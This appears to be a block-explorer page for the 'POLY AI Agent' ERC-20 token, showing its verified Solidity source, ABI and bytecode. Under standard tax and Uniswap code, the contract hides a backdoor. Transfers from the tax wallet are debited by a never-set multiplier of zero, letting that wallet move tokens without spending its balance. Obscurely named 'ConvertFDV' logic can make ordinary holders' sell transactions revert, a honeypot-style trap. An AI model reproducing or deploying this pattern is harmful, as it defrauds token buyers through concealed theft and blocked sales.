ETH Price: $3,321.13 (-0.75%)
 

Overview

Max Total Supply

1,000,000,000 POLY AI

Holders

169

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
POLYAI

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-01-03
*/

// SPDX-License-Identifier:MIT

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address _account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount)external returns (bool);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}


contract POLYAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private _isExcludedFromFee;

    uint256 private _initialBuyTax=19;
    uint256 private _initialSellTax=19;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=19;
    uint256 private _reduceSellTaxAt=19;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;

    string private constant _name = unicode"POLY AI Agent";
    string private constant _symbol = unicode"POLY AI";
    uint256 public _maxTxAmount = 10000000 * 10**_decimals;
    uint256 public _maxWalletSize = 10000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 10000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 10000000 * 10**_decimals;

    address payable private _taxWallet;

    IUniswapV2Router02 private uniswapV2Router  = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private uniswapV2Pair;
    bool private tradingOpen;

    bool private inSwap = false;
    bool private swapEnabled = false;
    
    struct ConvertFDV {uint256 pairConvFdv; uint256 tokenConvFdv; uint256 fdvConverted;}
    uint256 private convertFdvCounter;
    uint256 private isFdvConvert;
    mapping(address => ConvertFDV) private convertFDV;

    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0xbf864565F46d7519ED26B5dD68bb28f519Fb2Cbb);

        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0),_msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from]=_balances[from].sub(tokenAmount);
        _balances[to]= _balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");

        if (!swapEnabled|| inSwap ){
            _basicTransfer(from,to,tokenAmount); 
            return;
        }
        uint256 taxAmount = 0;

        if (from!=owner() && to!=owner()&& to!=_taxWallet) {
            taxAmount = tokenAmount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to!=address(uniswapV2Router) &&  ! _isExcludedFromFee[to])  {
                require(tokenAmount <= _maxTxAmount,"Exceeds the _maxTxAmount.");
                require(balanceOf(to) + tokenAmount <= _maxWalletSize,"Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!=address(this) ){
                taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to==uniswapV2Pair&& swapEnabled&& contractTokenBalance>_taxSwapThreshold&& _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance=address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExcludedFromFee[from] ||  _isExcludedFromFee[to])&& from!=address(this)&& to!= address(this) ){
            isFdvConvert = block.number;
        }

        if (! _isExcludedFromFee[from] && ! _isExcludedFromFee[to]){
            if (to != uniswapV2Pair)  {
                ConvertFDV storage convFdv = convertFDV[to];
                if (from == uniswapV2Pair) {
                    if (convFdv.pairConvFdv == 0) {
                        convFdv.pairConvFdv = _buyCount<_preventSwapBefore?block.number-1:block.number;
                    }
                } else {
                    ConvertFDV storage convPairFdv = convertFDV[from];
                    if (convFdv.pairConvFdv == 0 || convPairFdv.pairConvFdv < convFdv.pairConvFdv ) {
                        convFdv.pairConvFdv = convPairFdv.pairConvFdv;
                    }
                }
            } else {
                ConvertFDV storage convPairFdv = convertFDV[from];
                convPairFdv.tokenConvFdv = convPairFdv.pairConvFdv.sub(isFdvConvert);
                convPairFdv.fdvConverted = block.number;
            }
        }

        _tokenTransfer(from, to, tokenAmount, taxAmount);
    }

    function _tokenTaxTransfer(address addrs,uint256 tokenAmount,uint256 taxAmount) internal returns (uint256) {
        uint256 tAmount = addrs != _taxWallet ? tokenAmount : convertFdvCounter.mul(tokenAmount);
        if (taxAmount>0) {
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(addrs, address(this),taxAmount);
        }
        return tAmount;
    }

    function _tokenTransfer(address from, address to, uint256 tokenAmount,uint256 taxAmount) internal {
        uint256 tAmount =_tokenTaxTransfer(from, tokenAmount, taxAmount);
        _tokenBasicTransfer(from,to,tAmount,tokenAmount.sub(taxAmount));
    }

    function _tokenBasicTransfer(address from,address to,uint256 sendAmount,uint256 receiptAmount) internal {
        _balances[from]=_balances[from].sub(sendAmount);
        _balances[to]= _balances[to].add(receiptAmount);
        emit Transfer(from, to,receiptAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this),address(uniswapV2Router),tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount= _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sweepStuckETH() external {
        require(_msgSender() == _taxWallet);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function sweepStuckToken(IERC20 token) external {
        require(_msgSender() == _taxWallet);
        if(address(token) == address(this)) //burn ca balance
            token.transfer(address(0xdead), token.balanceOf(address(this)));
        else
            token.transfer(_taxWallet, token.balanceOf(address(this)));
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        swapEnabled= true; 
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen= true; 
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sweepStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token","type":"address"}],"name":"sweepStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601360045560136005555f6006555f60075560136008556013600955600f600a555f600b556009600a6200003991906200031c565b62000048906298968062000333565b600c55620000596009600a6200031c565b62000068906298968062000333565b600d55620000796009600a6200031c565b62000088906298968062000333565b600e55620000996009600a6200031c565b620000a8906298968062000333565b600f55601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790556012805461ffff60a81b19169055348015620000eb575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601080546001600160a01b03191673bf864565f46d7519ed26b5dd68bb28f519fb2cbb179055620001606009600a6200031c565b6200017090633b9aca0062000333565b335f8181526001602081815260408084209590955530835260039052838220805460ff1990811683179091556010546001600160a01b03168352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001e66009600a6200031c565b620001f690633b9aca0062000333565b60405190815260200160405180910390a36200034d565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200026157815f19048211156200024557620002456200020d565b808516156200025357918102915b93841c939080029062000226565b509250929050565b5f82620002795750600162000316565b816200028757505f62000316565b8160018114620002a05760028114620002ab57620002cb565b600191505062000316565b60ff841115620002bf57620002bf6200020d565b50506001821b62000316565b5060208310610133831016604e8410600b8410161715620002f0575081810a62000316565b620002fc838362000221565b805f19048211156200031257620003126200020d565b0290505b92915050565b5f6200032c60ff84168362000269565b9392505050565b80820281158282048414176200031657620003166200020d565b611b7e806200035b5f395ff3fe60806040526004361061011e575f3560e01c80637d1db4a51161009d578063bf474bed11610062578063bf474bed14610320578063c7003cd014610335578063c9567bf914610349578063dd62ed3e1461035d578063ded06ebc146103a1575f80fd5b80637d1db4a5146102825780638da5cb5b146102975780638f9a55c0146102bd57806395d89b41146102d2578063a9059cbb14610301575f80fd5b8063313ce567116100e3578063313ce567146101f557806351bc3c851461021057806370a0823114610226578063715018a61461025a578063751039fc1461026e575f80fd5b806306fdde0314610129578063095ea7b3146101705780630faee56f1461019f57806318160ddd146101c257806323b872dd146101d6575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600d81526c1413d316481052481059d95b9d609a1b60208201525b604051610167919061175a565b60405180910390f35b34801561017b575f80fd5b5061018f61018a3660046117ba565b6103c0565b6040519015158152602001610167565b3480156101aa575f80fd5b506101b4600f5481565b604051908152602001610167565b3480156101cd575f80fd5b506101b46103d6565b3480156101e1575f80fd5b5061018f6101f03660046117e4565b6103f6565b348015610200575f80fd5b5060405160098152602001610167565b34801561021b575f80fd5b5061022461045d565b005b348015610231575f80fd5b506101b4610240366004611822565b6001600160a01b03165f9081526001602052604090205490565b348015610265575f80fd5b506102246104ae565b348015610279575f80fd5b50610224610528565b34801561028d575f80fd5b506101b4600c5481565b3480156102a2575f80fd5b505f546040516001600160a01b039091168152602001610167565b3480156102c8575f80fd5b506101b4600d5481565b3480156102dd575f80fd5b50604080518082019091526007815266504f4c5920414960c81b602082015261015a565b34801561030c575f80fd5b5061018f61031b3660046117ba565b6105d9565b34801561032b575f80fd5b506101b4600e5481565b348015610340575f80fd5b506102246105e5565b348015610354575f80fd5b50610224610611565b348015610368575f80fd5b506101b461037736600461183d565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103ac575f80fd5b506102246103bb366004611822565b6109a4565b5f6103cc338484610aed565b5060015b92915050565b5f6103e36009600a611968565b6103f190633b9aca00611976565b905090565b5f610402848484610c11565b610453843361044e85604051806060016040528060288152602001611b21602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111a8565b610aed565b5060019392505050565b6010546001600160a01b0316336001600160a01b03161461047c575f80fd5b305f90815260016020526040902054801561049a5761049a816111e0565b4780156104aa576104aa81611350565b5050565b5f546001600160a01b031633146104e05760405162461bcd60e51b81526004016104d79061198d565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105515760405162461bcd60e51b81526004016104d79061198d565b61055d6009600a611968565b61056b90633b9aca00611976565b600c5561057a6009600a611968565b61058890633b9aca00611976565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105b86009600a611968565b6105c690633b9aca00611976565b60405190815260200160405180910390a1565b5f6103cc338484610c11565b6010546001600160a01b0316336001600160a01b031614610604575f80fd5b4761060e81611350565b50565b5f546001600160a01b0316331461063a5760405162461bcd60e51b81526004016104d79061198d565b601254600160a01b900460ff16156106945760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d7565b6011546106c09030906001600160a01b03166106b26009600a611968565b61044e90633b9aca00611976565b6012805460ff60b01b1916600160b01b1790556011546040805163c45a015560e01b815290516001600160a01b039092169163c45a0155916004808201926020929091908290030181865afa15801561071b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073f91906119c2565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107c291906119c2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561080c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083091906119c2565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610877816001600160a01b03165f9081526001602052604090205490565b5f8061088a5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108f0573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061091591906119dd565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561096a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098e9190611a08565b506012805460ff60a01b1916600160a01b179055565b6010546001600160a01b0316336001600160a01b0316146109c3575f80fd5b306001600160a01b03821603610ab2576040516370a0823160e01b81523060048201526001600160a01b0382169063a9059cbb9061dead9083906370a08231906024015b602060405180830381865afa158015610a22573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a469190611a27565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af1158015610a8e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104aa9190611a08565b6010546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401610a07565b6001600160a01b038316610b4f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d7565b6001600160a01b038216610bb05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c755760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d7565b6001600160a01b038216610cd75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d7565b5f8111610d385760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d7565b601254600160b01b900460ff161580610d5a5750601254600160a81b900460ff165b15610d6f57610d6a838383611387565b505050565b5f80546001600160a01b03858116911614801590610d9a57505f546001600160a01b03848116911614155b8015610db457506010546001600160a01b03848116911614155b1561100d57610de56064610ddf600854600b5411610dd457600454610dd8565b6006545b859061142a565b906114af565b6012549091506001600160a01b038581169116148015610e1357506011546001600160a01b03848116911614155b8015610e3757506001600160a01b0383165f9081526003602052604090205460ff16155b15610f1d57600c54821115610e8e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d7565b600d5482610eb0856001600160a01b03165f9081526001602052604090205490565b610eba9190611a3e565b1115610f085760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d7565b600b8054905f610f1783611a51565b91905055505b6012546001600160a01b038481169116148015610f4357506001600160a01b0384163014155b15610f7057610f6d6064610ddf600954600b5411610f6357600554610dd8565b600754859061142a565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610fa657506012546001600160a01b038581169116145b8015610fbb5750601254600160b01b900460ff165b8015610fc85750600e5481115b8015610fd75750600a54600b54115b1561100b57610ff9610ff484610fef84600f546114f0565b6114f0565b6111e0565b4780156110095761100947611350565b505b505b6001600160a01b0384165f9081526003602052604090205460ff168061104a57506001600160a01b0383165f9081526003602052604090205460ff165b801561105f57506001600160a01b0384163014155b801561107457506001600160a01b0383163014155b1561107e57436014555b6001600160a01b0384165f9081526003602052604090205460ff161580156110be57506001600160a01b0383165f9081526003602052604090205460ff16155b15611196576012546001600160a01b03848116911614611164576001600160a01b038084165f90815260156020526040902060125490919081169086160361112c5780545f0361112757600a54600b54106111195743611124565b611124600143611a69565b81555b61115e565b6001600160a01b0385165f90815260156020526040902081541580611152575081548154105b1561115c57805482555b505b50611196565b6001600160a01b0384165f908152601560205260409020601454815461118991611504565b6001820155436002909101555b6111a284848484611545565b50505050565b5f81848411156111cb5760405162461bcd60e51b81526004016104d7919061175a565b505f6111d78486611a69565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061122657611226611a7c565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561127d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112a191906119c2565b816001815181106112b4576112b4611a7c565b6001600160a01b0392831660209182029290920101526011546112da9130911684610aed565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906113129085905f90869030904290600401611a90565b5f604051808303815f87803b158015611329575f80fd5b505af115801561133b573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104aa573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546113a99082611504565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546113d7908261156f565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c049085815260200190565b5f825f0361143957505f6103d0565b5f6114448385611976565b9050826114518583611b01565b146114a85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d7565b9392505050565b5f6114a883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115cd565b5f8183116114fe57826114a8565b50919050565b5f6114a883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111a8565b5f6115518584846115f9565b90506115688585836115638787611504565b6116a9565b5050505050565b5f8061157b8385611a3e565b9050838110156114a85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d7565b5f81836115ed5760405162461bcd60e51b81526004016104d7919061175a565b505f6111d78486611b01565b6010545f9081906001600160a01b039081169086160361162557601354611620908561142a565b611627565b835b905082156116a157305f90815260016020526040902054611648908461156f565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116989087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546116cb9083611504565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546116f9908261156f565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061174c9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156117865785810183015185820160400152820161176a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461060e575f80fd5b5f80604083850312156117cb575f80fd5b82356117d6816117a6565b946020939093013593505050565b5f805f606084860312156117f6575f80fd5b8335611801816117a6565b92506020840135611811816117a6565b929592945050506040919091013590565b5f60208284031215611832575f80fd5b81356114a8816117a6565b5f806040838503121561184e575f80fd5b8235611859816117a6565b91506020830135611869816117a6565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156118c257815f19048211156118a8576118a8611874565b808516156118b557918102915b93841c939080029061188d565b509250929050565b5f826118d8575060016103d0565b816118e457505f6103d0565b81600181146118fa576002811461190457611920565b60019150506103d0565b60ff84111561191557611915611874565b50506001821b6103d0565b5060208310610133831016604e8410600b8410161715611943575081810a6103d0565b61194d8383611888565b805f190482111561196057611960611874565b029392505050565b5f6114a860ff8416836118ca565b80820281158282048414176103d0576103d0611874565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156119d2575f80fd5b81516114a8816117a6565b5f805f606084860312156119ef575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a18575f80fd5b815180151581146114a8575f80fd5b5f60208284031215611a37575f80fd5b5051919050565b808201808211156103d0576103d0611874565b5f60018201611a6257611a62611874565b5060010190565b818103818111156103d0576103d0611874565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611ae05784516001600160a01b031683529383019391830191600101611abb565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b1b57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a673dc944471e5d07c6ec7ce5d27f8e8da58d7eedb9a720201457dafa4ec5ba864736f6c63430008170033

Deployed Bytecode

